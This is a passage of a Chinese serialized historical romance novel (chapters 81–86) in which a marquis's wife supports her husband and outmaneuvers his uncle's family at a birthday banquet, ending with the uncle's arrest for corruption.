小厮躬身唤道:“夫人。”
江元音问道:“侯爷呢?你没在身边侍候?”
这些日子,曲休不在,都是他随侍齐司延左右。
小厮回道:“曲休回来了,侯爷不用小的在身边侍候了。”
他抬手往储藏室的方向指了指,“夫人,我之前见侯爷往那边去了。”
江元音了然颔首,快步朝储藏室迈了过去。
曲休回来了,是因为查到了那夜伤他的歹徒的身份下落,他才反常地没和她一道吃晚饭,迟迟不归主屋?
那歹人到底是何身份?
第81章 我们重新完婚
江元音在储物室门口见到了多日不见的曲休。
曲休作揖行礼:“夫人。”
江元音余光扫了眼储物室,里面点了灯。
确定了齐司延在里面,她不急着进去,而是一边打量着曲休,一边询问道:“查到什么了?”
他外表没看到明显的受伤痕迹,不过看起来了瘦了不少,想来这些日子过得辛劳。
曲休似是一脸困惑,不答反问:“查什么?请夫人明示。”
“侯爷不是说你去查伤他的歹徒了吗?”
曲休吃了一惊。
侯爷连这些事都同夫人说了?
但谨慎起见,他还是什么都没透露,回道:“具体的夫人还是去问侯爷吧。”
江元音不为难他,理解的点点头,转身朝储物室走去。
曲休下意识的想拦住她,但转瞬一想,她已怀有侯爷的骨肉,而侯爷连让他去查事都说了,两人关系定已是亲密无间。
或许,有夫人陪着,侯爷会好受些。
思及此,他低声嘱咐了句:“还请夫人好生劝慰侯爷,早日振作。”
江元音嗅到不对劲,便又多问了句:“是否和父亲、母亲有关?”
这储物间里放着的都是齐腾、洛青莞的遗物,齐司延这个点会待在这个屋子里,显然是何他已故的父母相关。
曲休闻言,越发觉得齐司延对江元音没甚隐瞒,于是点头,叹息道:“先侯夫妇枉死,侯爷怕是一会难以缓神。”
江元音呼吸一滞。
之前齐婧涵的归宁宴,她特意请了就遇仙楼的戏班来唱戏,便听过了齐腾夫妇最后一战的往事。
说是沧江水战,恰逢大寒,齐腾夫妇不惧风雪,连夜先遣渡江,然因不擅水战,天气又太过恶劣,同敌军厮杀至拂晓时分,终是体力不支,以身殉国。
如此悲壮,怎会是……枉死?
江元音能猜到齐司延的沉痛,调整了呼吸,推门而入。
清秋、雪燕为其合上门,同曲休一道静候屋外。
齐司延就静立在父母盔甲的陈列架前,一袭白衣背光而立。
后背光亮,面容却没入光影里,对比强烈,犹如一幅写意的山水画。
他没有回头,只是没甚情绪地开口道:“你先回屋睡吧,不必等我。”
江元音缓步走近,他浑身都透着抗拒。
她不强行追问了解或是出言安慰,只是站在他身侧,似是闲聊一般,随口道:“其实新婚夜,我以为侯爷是故意轻视刁难我,不与我拜堂,还让你叔父叔母坐高堂。”
她如他白天安抚她一般,伸手牵住他的手,“现在侯爷身子恢复得差不多了,等收拾了齐文台、陆氏一家,我们重新在父亲、母亲面前行礼可好?”
齐司延眼底有暗流涌动,颇有些复杂。
有动容也有微妙的……愧疚。
其实那夜他的确是故意的。
他当时以为他娶的仍旧是江云裳。
可这些都是无法言说的,荒唐的秘密。
江元音继续说道:“父亲、母亲一定很欣慰,现在的侯爷能自在活着,可以做一切想做的事,也有能力做一切想做的事。”
“无论侯爷想做什么,妾身都支持陪同。”
她暗示得很委婉,但她想他一定能听懂。
她信他有查明真相,为父母报仇雪恨的能力。
而她会支持陪同,一如对付陆氏、齐文台那般,与他同仇敌忾。
齐司延开口问道:“曲休同你说了什么?”
是他过度理解,还是她的话别有深意?
“曲休什么也没说,只说让我来问侯爷,但我想侯爷这个点会在这,一定是想念父亲、母亲了。”
齐司延心里有触动,为她这份细腻的心思与洞察力。
江元
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音又说:“我不问,侯爷什么时候想说,我洗耳恭听。”
“我或许没办法为侯爷排忧解难,但是侯爷……”她将他的手稍稍握得更紧些,“我在,我陪着你。”
齐司延的心似被春阳包裹,有种温暖的宁静。
他回握住她的手,仰头望着父母的盔甲,承诺道:“待收拾了齐文台、陆氏一家,我们重新在父亲、母亲面前拜堂行礼,我们重新完婚,可好?”
“好。”
两人没有眼神的交流,也不再说话,只是牵着手,仰望陈列架上的遗物。
此刻心灵相通的无声陪伴,胜过千百句安慰的言辞。
齐司延觉得自己已足够幸运。
纵然他的一生充斥着阴谋、算计、利用,但至少他还有她的真心。
就这样静谧沉默地待了半个时辰,齐司延方才转身,与江元音面对面而立。
他道:“我需得去趟书房,你先回房歇息吧,不必等我。”
江元音会意颔首,“侯爷早点忙完,早点回来,有侯爷在,我睡得才踏实。”
“嗯。”
她不耽搁他处理正事,两人一道出了储物间,在门口分别。
齐司延这一忙,就忙到了拂晓时分。
他给齐腾旧日的部下与死士都亲笔书信一封,言辞恳切,每一封、每一个字都不敷衍。
随后,他递给曲休,吩咐道:“尽快送出去,一定要确保每一封都交到他们本人手中。”
“是,侯爷。”
曲休接过信件,飞身一跃,消失在晨曦中。
齐司延短暂犹豫,还是回了卧房。
刚上了床榻,江元音似是有所感应一般,转了个身贴近他。
他默契熟练的展臂,将她圈入怀抱。
一夜的疲倦在此刻消弭,令他满足喟叹。
她对自己认知有误,她分明极擅长为他分忧解难。
第82章 一切有我
六月十二,齐文台生辰宴。
早餐过后,江元音重新梳妆打扮了一番。
今日可是她入侯府以来的重头戏,来的都是贵宾,她自然要隆重以待。
她着玉色素纱,搭配相配颜色相近的绫罗裙,头戴白玉孔雀簪与珍珠碧玉步摇,再配上素玉兰花耳坠,很是端庄优雅。
装扮完毕,见齐司延在外间等她。
她展袖转了转身子,问道:“侯爷,我穿这身可好看?”
齐司延目露欣赏,不吝夸赞:“好看。”
末了,认真叮嘱道:“今日宴席,务必小心谨慎。”
江元音莞尔笑笑,“侯爷放心,今日侯府宾客云集,陆氏再心急,当不会蠢得在今日使坏。”
何况前几日,齐司延毫不给齐明宏面子,在兰竹阁大门口对其院里的家丁杖责,现在侯府上下,哪个轻易冒犯冲撞她?
齐司延扫了眼她的腹部,意有所指:“切记不可轻举妄动,伤了我们的孩子,一切有我。”
江元音非常配合地抚了抚腹部,“妾身一定确保孩子平安无恙,今日只管看一出好戏。”
在和齐司延互相坦诚前,她的确是想借着今日的宴席给陆氏下套,但既然他说要从齐文台着手,她便改变了计划。
她已收集了不少陆氏“害她孩子”的证据,只等齐文台那边遭了殃,再来同陆氏掰扯。
虽然后来陆氏给她送的避子汤都是熬好的,但最开始,她跌入药浴池**那回,陆氏派人送来的是抓好的药方。
她通通保留着。
不仅于此,近来她都没有闲着,早将陆氏派来给她看诊的郎中,查了个彻底。
兔死猢狲散,只要齐文台倒了,她不信这些人在利益驱使下,还会守口如瓶,不供出陆氏做过的腌臜事。
毕竟,那日故意撞她的家丁,便什么都招了。
齐司延满意颔首,牵住了她的手,“走吧。”
屋外,曲休已在轮椅旁等候。
江元音不确定问道:“今日的生日宴,侯爷也去?”
她入了侯府后,从不见齐司延出席参与任何家宴。
齐司延轻“嗯”,“我不去,你如何观戏?”
江元音表示了然地点点头,对今日之事,愈发胜券在握。
她本就谨慎,而齐司延行事更甚。
他愿意出席,必定是有十成的把握。
今日过后,侯府当再不是齐文台与陆氏一家,可耀武扬威之地。
齐文台的生辰宴,邀了不少官场同僚,和试图结交的权贵。
许多人冲着“定宁侯”的面子,应邀来贺寿,打的是可以拉拢其他人的主意,跟齐文台本人没有半点关系。
齐文台父子妻妾无数,侯府女眷甚多,故此,为了方便,宴会分了外厅和内厅。
外厅男子们高谈阔论,内厅女子言笑晏晏。
江元音和齐司延到达时,已过了巳时正点。
候在门口接待的丫鬟看到齐司延,满脸愕然。
为了维持住齐司延在外“耳目不聪”的形象,江元音没同他说话,而是嘱咐曲休:“照顾好侯爷。”
“是,夫人。”
江元音进入内厅时,人已到了大半。
不少贵宾带来的家眷,纷纷侧目看过去,对这位圣上赐婚的商贾之女充满好奇。
有外宾在场,陆氏端着莫须有的“主母”的架子,静待江元音走近请安。
江元音目不斜视,缓步上前,朝陆氏福身行礼:“见过二叔母。”
陆氏故意端架子,颇有微词道:“怎么来得这般迟?贵客到要到全了。”
江元音温顺回道:“陪侯爷一道,需得留心路况,故此来迟了些,还望二叔母见谅。”
陆氏眼底是难以掩饰的震惊:“司延来了?”
江元音点头。
陆氏故意扬声,借机炫耀道:“司延一年到头难得出一趟院门,也就只有他叔父生辰时,才肯出来见见客了。”
离得近的几位齐文台的妾室,很会察言观色地出声附和。
“是啊,侯爷同老爷的关系,那是亲如父子。”
“不止是亲如父子吧,我看根本是赛过父子呢。”
“侯爷和老爷的感情,真真是极好呢!”
“放眼整个侯府,还有谁能得侯爷这般重视?”
……
……
江元音任由她们“说胡话”,恨不能贴到外宾耳边,宣言齐司延和齐文台的“父子情”。
待她们说够了,停下来了,她抬眼环视了下四周,随后冲陆氏担忧问道:“怎么没看到婧涵妹妹?难道还在为归宁宴的事情而生气吗?”
陆氏的脸色瞬间阴沉了几分,悄悄瞪了江元音一眼,
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无声警告她不要哪壶不提提哪壶。
“婧涵怎么会同家人置气,今儿个是她父亲的生辰,便是天上下刀子她都会来的,”陆氏假笑扬声,“婧涵和子枫都在路上了,很快便到。”
“原来如此,”江元音一副松了口气的样子,“婧涵妹妹同二叔父、二叔母感情甚笃,我以为会早早到场,没想到会比侄媳还来得迟,是以误会了。”
陆氏脸色一变,“她从国公府过来,你就在侯府,这能比吗?”
这个**,定是故意寻衅滋事,想当着外宾的面给她难堪!
不过是仗着齐司延还活着,同她感情不错罢了。
再过些时日,等她孙儿能承袭侯爵,齐司延一死,有她好受的。
不待江元音出声,一旁观戏良久的户部尚书夫人王氏忽地“诶”了一声,引来众人注目。
“确定婧涵过来么?”王氏一副好意提醒地模样,关切道:“大家同住城东,我府邸离侯府可比国公府要远得多,我都到了好一会了,婧涵还不见人影,不会生出什么变故吧?”
王氏忙提醒陆氏:“要不派人去探探?这大好的日子可别生出什么意外来。”
陆氏气得心肝疼。
这王氏分明是借着**递出来的话茬子,在阴阳怪气她的女儿女婿并不重视这生辰宴。
落到其余外宾耳中,还不知道要怎么奚落、嚼舌根呢!
陆氏在往日的一些官宴上,便同王氏不对付,若不想为齐明宏谋升个户部侍郎之职,她亦不愿与之有所交集。
不爽堆积久了,她此刻很难压下心头的火,要笑不笑地反击道:“尚书夫人都能安然无恙地抵达,想必这一路顺畅,无风无雨的,婧涵同子枫定也生不出什么变故来的。”
两人唇舌交战,旁人乐得看戏。
江元音不着痕迹地抬眼看了眼王氏。
敌人的敌人可就是朋友,搞不好能成为短暂的盟友。
这时丫鬟终于领着话题中的主角——齐婧涵迈了进来。
陆氏脸上的阴霾一扫而空,立即眉飞色舞,起身朝齐婧涵招手,笑得慈眉善目,亲切唤道:“可算是到了,快到为娘身边来!”
江元音也真情实感地笑。
人到齐了,戏才好开唱。
就是不知道再过一会,陆氏还笑不笑得出来。
第83章 郎君行不行得看枕边人
齐婧涵作为陆氏的爱女,和陆氏的脾性可谓是一脉相承。
都是虚荣好面,爱炫耀的人。
齐婧涵穿一身轻纱云锦牡丹裙,整个人披金戴银,什么贵重饰品都往头上簪,生怕旁人不知她过得多荣华富贵。
她享受着全场瞩目的存在感,下巴微仰,骄傲迈向陆氏,扬声娇笑地炫耀道:“原本给父亲的生辰礼早就备好装上马车了,谁知出门前子枫哥哥又精心挑选了一番,直到马车塞不下了才肯罢休,我拦也拦不住,这才来得迟了些。”
在这样的场合,她同陆氏极其相似,都是有一分要说成十分,恨不能人人都羡慕赞叹。
陆氏闻言只觉得先前因为江元音和王氏受的气,这会终于都发散出来了。
她笑得合不拢嘴,拉着齐婧涵的手拍了拍,用着巴不得最门口的丫鬟都能听到的声量道:“哎哟,咱侯府什么都不缺,只要你们能回来吃顿饭,便是最好的生辰礼物了,但子枫愿意费心,都是因为疼你,看到你们小两口这般恩爱,我和你父亲比收到什么礼物都开心。”
侯府的家眷见惯了这样的场合,很是熟练地捧场。
“我们婧涵貌美端庄,子枫自然是被迷得死死的。”
“何止貌美,我们婧涵的才情更是没得说,和子枫就是天造地设的一对璧人!”
齐婧涵享受着众人的吹捧,洋洋得意地瞥向是一旁沉默许久的江元音,故意挑刺道:“堂嫂怎地不出声,见到我不高兴?”
这**之前搞砸她的归宁宴,定是嫉恨她嫁得好又受宠,而**嫁给她那个废物堂哥,还被轻视。
那日她不得不追许子枫而去,没法留下来与她算账,但她母亲是绝不会放过**这个**的!
母亲定已狠狠的收拾过**了,但这还不够,她今日定要让**悔不当初!
她盼回侯府这日可是盼了许久了!
江元音好脾气地笑,回道:“能见到妹妹自然欢喜,只是上次归宁宴,子枫愤然离席,妹妹又气又急的追出去,我都没来得及解释,我怕妹妹还误会着我,是以不敢同妹妹说话。”
周遭议论声四起,那些外宾朝齐婧涵投来探寻地目光。
“你胡言乱语什么!”齐婧涵霎时面红耳赤,侧头看向陆氏,无声的质问:母亲没教训她吗?她为何还敢这样说话?!
众人在场,陆氏有口难言。
只能晚些避了人,再同齐婧涵敞开来数落,江元音近日来的所做作为。
她安抚地拍拍齐婧涵的手,斜眼扫江元音一眼,道:“既然说到这个事了,我也不希望你们姑嫂之间有误会生了嫌隙,那日种种不愉快,皆因你而起,婧涵难得回来一趟,你好生同她道个歉,这个事便这么过了。”
在场的人神色立即变得微妙起来。
侯府家眷的眼底多少是带着“钦佩”的。
自那日归宁宴后,**在侯府的风头是一时无两。
前有侯爷亲自去祠堂接人,后有侯爷为其杖毙家丁。
桩桩件件,让她们就算在侯府碰着了**,也恨不能避开她走,就怕一不小心就惹祸上身。
今日侯爷会出席生辰宴,到底是为了寿星,还是放心不下**,还真不好说。
毕竟往年齐文台的生辰,侯爷可没出席贺寿过。
现在侯爷就在外厅,她们母女还敢在外宾面前耍威风,冲**发难,让人如何不钦佩?
而那些初见江元音的外宾,更多的是好奇与看戏的心态。
**好歹是圣上赐婚的侯夫人,在侯府还需看人脸色过活?
那可真是窝囊。
齐婧涵嫌不够,得寸进尺道:“光是口头道歉太没诚意,但今日是父亲过生的好日子,我亦不想为难堂嫂,刚好我从国公府带来了圣上赏赐的九酿春,堂嫂便自罚三杯,当做对我的赔罪吧,我们之间那点误会便算是了了。”
她给自己的婢女使了个眼色,命其拿出早就备好的酒,嘲讽道:“九酿春乃宫廷御酒,堂嫂没踏进过宫门,此生更是无缘宫宴,堂嫂能喝上三杯,其实不是罚而是赏。”
婢女倒好一杯,给江元音递上。
齐婧涵笑里藏刀,“堂嫂,机会难得,你可得好好珍惜啊。”
这时得到消息的秦氏,匆匆从外厅赶来阻拦解围,生怕江元音要出意外。
江元音余光瞟到,想到秦氏那满身的伤,在秦氏到来前,率先开口拒道:“多谢婧涵妹妹割爱,愿让我品尝佳酿,可惜我有孕在身,不宜饮酒,九酿春,我无福消受。”
满场外宾哗然。
听闻定宁侯是个腿不能行的废人,其夫人竟然有孕了?
可真是稀奇!
齐婧涵顿住,难以置信地脱口而出地确认
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道:“你怀孕了?”
这怎么可能!
母亲不是要将齐维航过继到齐司延膝下吗?
**怎么可能怀孕!
江元音点点头,抬手抚了抚自己的腹部,露出欣慰幸福的笑,“上月底才诊出来的喜事。”
她瞟了眼齐婧涵的肚子,笑吟吟地问:“婧涵妹妹呢?可有好消息了?”
不待齐婧涵回答,她自顾自地回答道:“婧涵妹妹同子枫如此恩爱,想来应该有喜了才是,”顿了顿,她又关心道:“妹妹近来可有不适?有请郎中号脉吗?可别已怀上了还不知数,那可就遭了。”
江元音好似句句是关心,落在齐婧涵耳中却字字是奚落。
嘲讽自己不如她,她都怀上了,自己却没有!
齐婧涵脸上火辣辣的,甚觉丢面,一时没想到反击的词,只能红着脸干瞪着江元音。
观戏良久的王氏,冲江元音道喜道:“恭喜侯夫人,这个真是大喜事一件啊,我可等着喝满月酒呢!”
江元音浅笑回道:“届时一定送拜帖去尚书府,邀尚书大人同夫人来吃酒。”
王氏连连点头:“我可备礼盼着呢。”
她笑得开怀,接着打趣道:“不过这怀孕嘛,也不是咱女子一人能做主,还得看郎君行不行,看来侯爷并不似传闻中那般病弱,至少比许四郎要行得多呢。”
此话一出,场子立马沸腾热闹起来,有人捏帕掩面娇羞不已,有年长些的夫人便大胆打趣讨论起来。
“都是年轻儿郎,能有哪个不行?”
“郎君行不行,不也得看枕边人魅力如何吗?”
“说得是啊,有的人夜夜笙歌,有的人怕只能独守空房咯。”
齐婧涵只觉得这些话,全部是在揶揄嘲讽她,她快要控制不住地发火,却被陆氏拉住。
陆氏板着脸,扬声道:“内厅是没男人,但还有未出阁的姑娘们呢,你们说话多少注意点场合与分寸!”
她不给其他人继续议论齐婧涵房事与江元音身孕的机会,绕回最初的话题,冲江元音道:“不能喝酒,你好生道个歉,赔个不是便是!”
齐婧涵跌了面,她同样丢脸。
然而江元音不卑不亢地站着,没有半点要配合的意思,道:“二叔母可是忘了,婧涵妹妹归宁宴的事,侯爷说我半分错都没有,为何要道歉赔不是?”
第84章 陆氏母女吃瘪
“那日归宁宴,二叔母让**持,要求我……”
“好了!”陆氏扬声打断,“你本就目无尊长,如今有了身孕更是不把我放在眼里,罢了,为你肚中齐家的血脉,我受点气无所谓,今日是老爷过寿,别再扯些有的没的,叫客人看了笑话!”
江元音知陆氏是慌了,也不急着在这时同她唇枪舌战,顺着她点点头,道:“今日登门的贵客们定比我懂得赏鉴,这九酿春我无福浅尝一二,便倒给诸位贵客小酌吧。”
“国公得圣赏识,府中御赐之物定多不胜数,婧涵妹妹定不会吝啬区区几壶九酿春,既不嫌麻烦地从国公府带来了,想来也是想为二叔父的生辰助兴。”
齐婧涵能特意从国公府带过来,还劝她喝,这酒水里十成十被做了手脚。
厅里的外宾可都是汴京权贵的家眷,喝出个好歹来,齐婧涵如何负责?
若是不给,一定会被嘲吝啬小气。
果然,齐婧涵的第一反应是拒绝,“不行!”
场面骤冷,她眼神慌乱,试图圆场:“我原以为只是家宴,没成想会有这么多客人,就只带了一壶九酿春,怕是不够分,索性便不分了。”
“原是我们不配了,”王氏阴阳怪气地出了声:“勉强不得,勉强不得啊。”
一众外宾不悦出声。
“我御史府是不如国公府荣宠不衰,倒也没沦落到要讨酒喝的地步。”
“哎,谁让我们没口福呢。”
陆氏气得头疼,一时拿江元音没法子,瞬间把气撒在赶过来的秦氏身上,发难质问道:“你怎么操持宴席的?竟让宾客觉得我们侯府没有好酒可以喝?”
秦氏垂首,“好茶好酒都备好了,我这就去命人悉数端上来。”
陆氏面色这才稍稍缓和一些,迎上外宾们的目光,替齐婧涵圆场道:“今日是我侯府设宴,自不会让国公府来供酒水,多谢诸位赏脸赴宴,今日我侯府定好茶好酒管够。”
语罢陆氏看向江元音,道:“你既有了身孕,就别杵在这了,落座休息吧,免得站久了又累着了。”
她算是明白了,这**轻易惹不得,尤其是在人多的时候。
不能再给**兴风作浪的机会,得赶紧把她赶下去才是。
江元音福了福身:“谢二叔母关心。”
秦氏上前,“位置我都安排好了,弟妹随我来。”
陆氏母女巴不得江元音赶紧离开,懒得再多说一句,任由秦氏领她落座去了。
秦氏的确用心给江元音备了座,实木椅上,垫着柔软的坐垫与靠枕。
她一一替江元音摆弄好,“若是坐着腰还不舒服,我再给你换。”
“很舒服,”江元音真诚道谢,“堂嫂费心了。”
她不着痕迹地打量秦氏。
这般热的天气,秦氏是全场未着纱裙的人,穿捂得严实,和周遭的人仿佛处在两个节气。
秦氏一直在内厅、外厅之间来回忙活,额前鼻尖都冒着细密的汗。
不用深思也知晓秦氏在遮掩什么。
江元音掏出帕子,亲昵为其拭汗。
秦氏一顿,下意识地躲闪拒绝,“我有帕子的,可别弄脏了你的帕子……”
“没事的,”在秦氏躲开前,江元音倾身往前凑了凑,低声却格外认真地问道:“若齐明宏允你和离,你可愿和离?”
她没有质疑过秦氏的不
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得已,只是想确定,那些不得已会不会是其逃避的推脱。
秦氏身子微颤,支吾了下没出声。
江元音心头有些许失望,还是不死心地补了句:“你若愿意,我可助你。”
秦氏置若罔闻,自顾自地说道:“今日宴席你所有的吃食我都把关过了,春花送上来的所有东西,你皆能安心享用。”
春花是她的贴身婢女。
语罢,她起身继续忙活去了。
江元音望着秦氏的背影,低叹了口气。
除非秦氏自己想明白,否则她做什么都帮不到她。
侯府家眷顾及陆氏,没人敢和江元音多亲近,但外宾个个都对江元音热情得很,相继端茶举杯凑了过来,同她问好交谈。
她们有的是来打探齐司延消息的,有的是来混个脸熟,有的单纯只是好奇,想探探侯府秘辛。
被冷落的陆氏母女,脸色一个赛一个的难看。
躁郁中母女俩对视了一眼,双双离开了内厅。
江元音一边含笑同外宾家眷们寒暄,一边默默将陆氏和齐婧涵的离开收入眼底。
她回答的都是场面话,大家谈了个三两句便觉得无趣,陆续从她身边离开。
待人群散尽,户部尚书李诚的夫人王氏才走了过来。
“侯夫人可乏了需要休息?”王氏直接道明来意,“若侯夫人还有精神头,我想同侯夫人浅聊两句。”
江元音浅笑,仰头温声回道:“可需唤人给李夫人添把椅子?”
在一众外宾中,王氏是唯一不遮掩对陆氏母女的敌意的,其余**多是看热闹的心态。
王氏和陆氏究竟有何过节?
她倒是愿意一听。
第85章 齐司延出手了
厅内侍候的丫鬟帮忙在江元音座位旁加了张椅子,王氏落座。
王氏问道:“侯夫人,不知侯爷身子可好些了?”
“多谢李夫人关心,有名医看诊,侯爷的身子自是一日比一日好。”
王氏闻言,没有过多的铺垫,直接问道:“敢问侯夫人,侯爷对其兄长的所作所为可有耳闻?”
江元音知道王氏说的是齐明宏,却故意回道:“兄长?李夫人当知,侯爷上无兄姐,下无弟妹,哪来的兄长?”
她这话既是不愿让齐明宏那个**同齐司延扯上关系,更是委婉地表示,他们关系很是一般。
王氏心道果然如此。
刚刚就看陆氏母女对江元音的态度,便能猜出她们关系并不融洽。
如此事情便顺利很多了。
她回道:“我说的是今日寿星齐大人的长子,侯爷的堂兄,齐明宏。”
江元音很是配合地问:“他做什么了?”
“半月前,他与齐大人一同来我尚书府,和我家老爷议事,我好酒好菜的招待,他却借着酒意轻薄调戏我府中丫鬟!”
江元音挑眉,“竟有这种事?之后呢?”
“那齐明宏是个惯犯,一句次日将丫鬟带回侯府收房便想打发了,可偏生那丫鬟是个性子烈的,当晚便上吊自缢了,我家老爷念在和齐大人的同僚情谊,不想追究此事,可这丫鬟乃我府中嬷子的女儿,算是我看着长大的,好好的一个姑娘,就这样没了,我如何能咽下这口气?!”
“本来想着侯爷身子不好,我也不想叨扰,可齐明宏这些年顶着‘定宁侯’兄长的名号,在外作恶多端,侯爷若再不出手管教,继续姑息其恶行,日后不仅会有更多无辜女子遭殃,更会败坏侯府名声,辱没先侯夫妇的风骨!”
“实不相瞒,我今日愿意登门,不为祝寿,只为我那枉死的丫鬟讨个说法!”
王氏本就同陆氏不对付,觉得她一家子都是狐假虎威之辈,打从心底里瞧不起。
可她丈夫只注重利益,见如今侯府做主的是齐文台一家,便愿意与之往来。
甚至觉得她为了一个丫鬟,要同齐明宏红脸,得罪了侯府,得不偿失。
可她不认可!
侯府本就式微,齐文台一家没甚本事,吃的都是先侯夫妇挣来的老本。
齐司延活着,还能得圣上眷顾,齐司延若**,侯府就彻底完了。
何必在意齐文台那家子无赖?!
王氏紧盯着江元音,问道:“侯夫人,你与侯爷可会护短包庇?”
江元音不急着表态,伸手拿过桌案上的杯盏,“李夫人可有证据?”
“侯夫人不信我所言?”
江元音摇头否认,“我自是信李夫人不会胡诌这种事,只是口说无凭,恐其会矢口否认,而李夫人也说,李大人不愿追究此事,难保会护着他说话,届时你我反成了构陷污蔑的人,岂不得不偿失?”
“证据……”王氏认可地颔首,陷入回忆思考中,“你且容我想想。”
江元音抿了口温水,“不急,李夫人慢慢想。”
她这才淡声表态:“侯爷不是是非不分之人,只要有证据,加上李夫人的指认,侯爷一定大义灭亲,严惩不贷。”
她放下水杯,又提醒道:“这些年侯爷一直在府中静养,府外的事鲜少传入他耳中,李夫人回想证据之余,不妨将齐明宏这些年做过的恶理一理,也好让侯爷一并处之。”
本来今日就是要收拾齐文台父子的。
关于齐明宏的罪状指控,自是越多越好。
或许,这些都能成为让秦氏彻底解脱的筹码。
王氏同江元音算是“一拍即合”,是以也不打算回自己的位置,就这么和她挤在一桌了。
坐在一块,谈事方便,要行动更是方便。
没多久,江元音注意到陆氏已独自返回了内厅,齐婧涵并未一道回来。
陆氏在主位坐定,下一瞬便朝江元音扫过来,见王氏竟搬椅和其坐在了一处,两人还一副相谈甚欢地模样,心里不爽快极了。
江元音余光察觉到陆氏的视线,愈发冲王氏笑得灿烂开怀。
陆氏越膈应越气,越想作妖越好。
她就要刺激她们母女,在今日这样的场合,不怕她们使坏,就怕她们安分守己。
她们越蹦跶,一会便死得更惨。
总归今日,他们一家都要完蛋。
舞姬表演时,齐婧涵同秦氏相继回了内厅。
江元音侧目观察打量。
齐婧涵一扫先前吃瘪的怨气,眉眼飞扬,全是势在必得的得意。
而秦氏面色难看,一副刚被折磨完的糟糕模样。
远远的,江元音朝她透出关心探寻的目光。
两人目光交汇,秦氏朝她无碍的笑笑,算是回应。
她心里隐约有了答案
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。
想必是因为秦氏是今日宴席的操办者,齐婧涵想通过秦氏做些手脚。
那更没什么好担心的了,秦氏比谁都看重她肚中的“孩子”。
午宴进行到一半,齐婧涵朝她走来了。
一道而来的,还有从另一边闻讯赶过来的秦氏。
王氏主仆、齐婧涵主仆再加秦氏主仆,江元音桌案前一时不输厅中央载歌载舞的热闹。
江元音全是一派看戏的心态,半点不慌。
江元音半点同她闹过不愉快的样子都没有,抬首看她,依旧一脸亲切温和,“妹妹有事找我?”
然而,她坐着一动不动,任由齐婧涵站着。
这时,秦氏率先出声,说明情况:“婧涵如今成婚了,难得回侯府一趟,下一次怕是要等到母亲生辰了,我不想你们二人之间有误会,所以想当个中间人,帮你们把话说开。”
她毫无感情,背台词一般,念出齐婧涵交代她的说辞。
说完侧身看了看婢女春花端着的木盘,上面放着两碗糖水。
秦氏接着道:“弟妹不能饮酒,我特意备了两碗消暑润喉的紫苏饮子,你们便以其代酒,喝了这紫苏饮子,便恩怨两消,忘了之前的不愉快,总归是一家人,自当和和睦睦的。”
“我当嫂嫂的自不会跟妹妹闹不愉快,只是……”江元音看向齐婧涵,“不知妹妹是怎么想的,可还误会怪我?”
齐婧涵回道:“归宁宴的事,母亲都和我说清楚了,原是我误会堂嫂了,是以我愿意卖我大嫂一个面子,喝了这碗紫苏饮子,和堂嫂恩怨两消,忘了之前的不愉快。”
秦氏将紫苏饮子分发给两人。
递给江元音时,她使了个眼色,示意江元音安心喝。
齐婧涵的确让她在紫苏饮子中动手脚,她劝阻不成,没有犹豫地应了。
与其让齐婧涵再去找其他人下手,她自己应下,方能确保江元音平安。
齐婧涵接过紫苏饮子,率先喝完,从丫鬟手中接过帕子擦了擦嘴,方看向江元音,催促道:“堂嫂喝是不喝?”
江元音不多言,如她所愿的喝下。
齐婧涵方觉胜券在握,恰巧这时厅中央的歌舞表演完了。
厅内突然安静了,衬得外厅的动静格外大。
各家眷都有所察地往外厅看去。
江元音勾唇轻笑。
她知道这是外厅的齐司延出手了。
第86章 割袍断义
“外厅这是在作甚表演?怎地这般吵闹?”
“我怎么好似听到了叫嚷声?”
一片议论声中,江元音站起身,扬声建议道:“不会是出什么事了吧?要不要出去看看?”
主位的陆氏驳斥道:“好好的寿宴,怎会出事?不要听风就是雨,胡乱揣测,搞得大家心虚不宁。”
不待江元音回应,有丫鬟慌慌张张跑进来禀告:“不好了,叔祖母,御史台派人登门抓人了!”
“什么?!”刚还不满江元音大惊小怪的陆氏,瞬间大惊失色,“抓人?抓谁?”
“抓……抓……”丫鬟满脸通红,目光躲闪,不敢如实以告,扑通一声跪倒在地。
答案显而易见,陆氏不再追问,起身朝外厅走。
一群人摸不着头脑,闹闹哄哄都起身跟了过去。
江元音反倒不急了,冲一旁的王氏提醒道:“李夫人,赶巧御史台登门了,你府中丫鬟的公道,有处讨了。”
王氏倒也不是个蠢笨的,事情发展至此,她意识到了不对劲,“侯夫人不会是想拿我当枪使吧?”
“怎么会?”江元音一派坦然,“你我不过是立场一致,不愿恶人逍遥罢了。”
她坦诚道:“李夫**可放心,一会你若站出来指证,我与侯爷定站你这边,你若改变主意,想息事宁人,我便当你先前什么都没说过。”
王氏目露欣赏,会意表态:“有侯夫人这句话我便放心,还请侯夫人记住,我尚书府愿与定宁侯府交好。”
她今日真是来对了!
侯府要变天了,日后,定宁侯府可不是齐文台与陆氏那种狐假虎威的人说了算了!
她一会若是站出来指证,便是最好的撇清她尚书府和齐文台的关系,向定宁侯示好的好机会!
内厅的家眷们一窝蜂去了外厅。
外厅的情况,可比她们之前在内厅看的歌舞要精彩刺激。
此刻,今日的寿星齐文台,正被御史台带来的官兵羁押扣着。
侍御史双手作揖冲主位上的齐司延作揖,扬声道:“侯爷既已确认了公文与证据,还请配合,我等要将齐文台带回御史台审查!”
“你们疯了不成?!”陆氏激动到破音,“今日是我家老爷生辰,你们竟敢上我侯府**,圣上对我侯府一直颇为照顾,你们这般找事,可有将圣上放在眼里?!”
侍御史半点不怵,激昂道:“齐文台收**赂、买卖公职、逼死良民,桩桩件件都罔顾王法,藐视例律,”他抬手朝着皇城的方向拱手作揖,“圣上对此恶行,绝不姑息!”
齐文台身子发抖,多次挣脱无果,还是叫屈,“我是冤枉的,我是冤枉的!”
“人证物证俱全,你还敢喊冤!”
“假的,都是假的,这是有人要害我!”
侍御史冷哼道:“我奉的是御史大夫的命令,你们侯府若有不服,不如去御前陈情,且看圣上如何裁决!”
齐文台冲着主位的齐司延大喊:“司延,你说话啊,我可是你叔父啊!”
陆氏径直跑到齐司延面前,试图伸手去拉他却被曲休拦住。
她大声道:“你叔父是冤枉的!今日若是任由御史台的人把你叔父带走,我侯府定要沦为整个汴京的笑柄,司延,你可得护住侯府的名声,不可由着御史台胡来啊!”
所有人都在看主位上的齐司延。
先侯夫妇殉国,圣上怜悯其成遗孤,要是他想护住齐文台,这事或许
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是有转圜余地的。
